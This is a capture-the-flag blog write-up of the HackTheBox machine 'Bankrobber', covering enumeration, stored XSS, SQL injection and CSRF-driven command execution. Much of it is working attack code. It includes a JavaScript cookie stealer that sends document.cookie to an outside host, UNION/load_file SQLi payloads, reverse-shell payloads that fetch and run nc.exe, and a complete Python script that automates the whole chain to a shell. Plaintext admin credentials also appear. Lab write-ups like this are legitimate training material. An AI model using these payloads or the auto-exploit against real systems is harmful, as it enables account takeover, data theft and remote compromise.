Home HackTheBox - Bankrobber
Post
Cancel

HackTheBox - Bankrobber

BankRobber is a very interesting and useful box when you are trying to get some XSS and SQLInjection to train on. Not so hard the first shell, I think the most difficult part of it is the privilege escalation, which one I will complete in the future.

The exploit for the first shell is on the post. And in the end, the source code of the app, to understand where the vulnerabilities and being triggered on the app.

Diagram

Not complete yet, I’ll return here latter and get it all.

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.154

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We try to open it on the browser

Gobuster

Let’s start crafting a little more on the box to see if we can enum more things do explore

1
gobuster dir -u http://10.10.10.154 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

We found a bunch of directories in it. Fine.

The admin and user called my attention

But that’s obsviouslly that we cannot access because our permissions

We cannot access the user too

Login

We could try to create a login in it

Now we Login

We are redirect to /user

We saw some requests

Interesting… our password as cookie

We see some interesting javascript being executed too

We try to transfer some amount

Hummm… A “time” message

Seems that we should have some kind of XSS happening here

XSS

So, we test the basic payloads, to see if it catch us

And after one minute we get back

<script src="http://10.10.14.20"></script>

How we get a admin looking at the comment tab, we possible can create a malicious JS to send us the cookies values

And we got it!

0x4rt3mis.js

1
2
3
4
5
6
7
function send_cookie(){
        var req=new XMLHttpRequest();
        req.open('GET', 'http://10.10.14.20/?xss=' + document.cookie, true);
        req.send();
}

send_cookie();

And playing with it, we got the admin credentials

1
2
admin 
Hopelessromantic

We login as admin

And we have access to the admin panel

Admin Enumeration

We start looking at the pages that the admin has access

notes.txt

We see to options. Search users and backdorchecker

Both of them show me problems. Interesing

When we try a sqlinjection in this field

1
There is a problem with your SQL syntax

And when we try to send commands on the other field

1
2
It's only allowed to access this function from localhost (::1).
This is due to the recent hack attempts on our server.

Just comming from localhost… Ok…

SQLInjection

Let’s focus on the SQLInjection

After some standart paylaods we found it working

We can start getting data with UNION SELECT queries

We got that the it has 3 columns

We can test, for example, to get the database version

And with this cheat sheet we can get the admin hash

We get the type hash

And on crackstation we got it

We can also get a NTLM hash with responder

1
term=1'UNION+SELECT+load_file('\\\\10.10.14.20\\\\0x4rt3mis'),2,3--+-

We can get the source code of the other function with load_file function

1
term=1'UNION+SELECT+load_file('c:\\xampp\\htdocs\\admin\\backdoorchecker.php'),2,3--+-

CRSF

The thing we need to do, is make the admin execute commands comming from localhost on backdoorchecker.php

And we have RCE…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
        xhr.send();
}


// Function just to try cmd id
function getRCE(){
        var rev = new XMLHttpRequest();
        var url = "http://localhost/admin/backdoorchecker.php";
        var data = 'cmd=dir|powershell -c "ping 10.10.14.20"';
        rev.open("POST", url, true);
        rev.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
        rev.send(data);
        debug(document.cookie);
}

getRCE()

Now, we get reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
        xhr.send();
}


// Function just to try cmd id
function getRCE(){
        var rev = new XMLHttpRequest();
        var url = "http://localhost/admin/backdoorchecker.php";
        var data = "cmd=dir|\\\\10.10.14.20\\0x4rt3mis\\nc.exe 10.10.14.20 5555 -e powershell.exe";
        rev.open("POST", url, true);
        rev.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
        rev.send(data);
        debug(document.cookie);
}

getRCE()

Let’s automate the whole things now!

Auto Reverse Shell

We will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

rev_bank.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python3
# Author: 0x4rt3mis
# Exploit - Auto Reverse Shell - BankRobber - HackTheBox

import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
from threading import Thread
import threading                     
import http.server                                  
import socket                                   
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Setting the python web server
def webServer():
    debug = True                                    
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:                                                                                                                                
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True                                                                                 
        thread.start()                                                                                       
    else:                                               
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    os.system("rm 0x4rt3mis.js")
    os.system("rm nc.exe")
    t.interact()

def createPayloadJS(lhost,lport):
    print("[+] Preparing the payload !! [+]")
    os.system("cp /usr/share/windows-binaries/nc.exe .")
    payload = "function getRCE(){\n"
    payload += "        var rev = new XMLHttpRequest();\n"
    payload += "        var url = 'http://localhost/admin/backdoorchecker.php';\n"
    payload += "        var data = 'cmd=dir|powershell -c \"iwr -uri " + lhost + "/nc.exe -outfile %temp%\\\\nc.exe\"; %temp%\\\\nc.exe -e cmd.exe " + lhost + " " + lport + "';\n"
    payload += "        rev.open('POST', url, true);\n"
    payload += "        rev.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n"
    payload += "        rev.send(data);\n"
    payload += "}\n"
    payload += "\n"
    payload += "getRCE()"
    f = open("0x4rt3mis.js", "w")
    f.write(payload)
    f.close()
    print("[+] Done !! [+]")
    
def createAccount(rhost):
    print("[+] Creating Account ! [+]")
    url = "http://%s:80/register.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"username": "0x4rt3mis", "password": "123456", "pounds": "Submit Query"}
    r.post(url, headers=headers, data=data, proxies=proxies)
    print("[+] Created ! [+]")
    
def loginAccount(rhost):
    print("[+] Just Login ! [+]")
    url = "http://%s:80/login.php" %rhost
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"username": "0x4rt3mis", "password": "123456", "pounds": "Submit Query"}
    r.post(url, headers=headers, data=data, proxies=proxies, cookies=r.cookies)
    print("[+] Logged In ! [+]")
    
def launchXSS(rhost):
    print("[+] Let's trigger XSS ! [+]")
    url = "http://%s:80/user/transfer.php" %rhost
    headers = {"Content-type": "application/x-www-form-urlencoded"}
    data = {"fromId": "3", "toId": "1", "amount": "1", "comment": "<script src=\"http://10.10.14.20/0x4rt3mis.js\"></script>"}
    r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
    print("[+] Triggered, wait 120 seconds ! [+]")
    os.system("sleep 120")

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--port', help='Local port to receive shell', required=True)
    args = parser.parse_args()

    rhost = args.target
    lhost = args.localip
    lport = args.port

    '''Here we call the functions'''
    # Set up the web python server
    webServer()
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Create the JS payload
    createPayloadJS(lhost,lport)
    # Create Account
    createAccount(rhost)
    # Login
    loginAccount(rhost)
    # Trigger and wait
    launchXSS(rhost)

if __name__ == '__main__':
    main()

Source Code Analysis

We start looking at the web app file to understand how it was estructured

We copy the htdocs folder to our Kali

auth.php

This is just the mechanisn of authentication, when it decode in base64 the credentials and check if it matches with the admin one.

backdoorchecker.php

handle.php

search.php

transfer.php

This post is licensed under CC BY 4.0 by the author.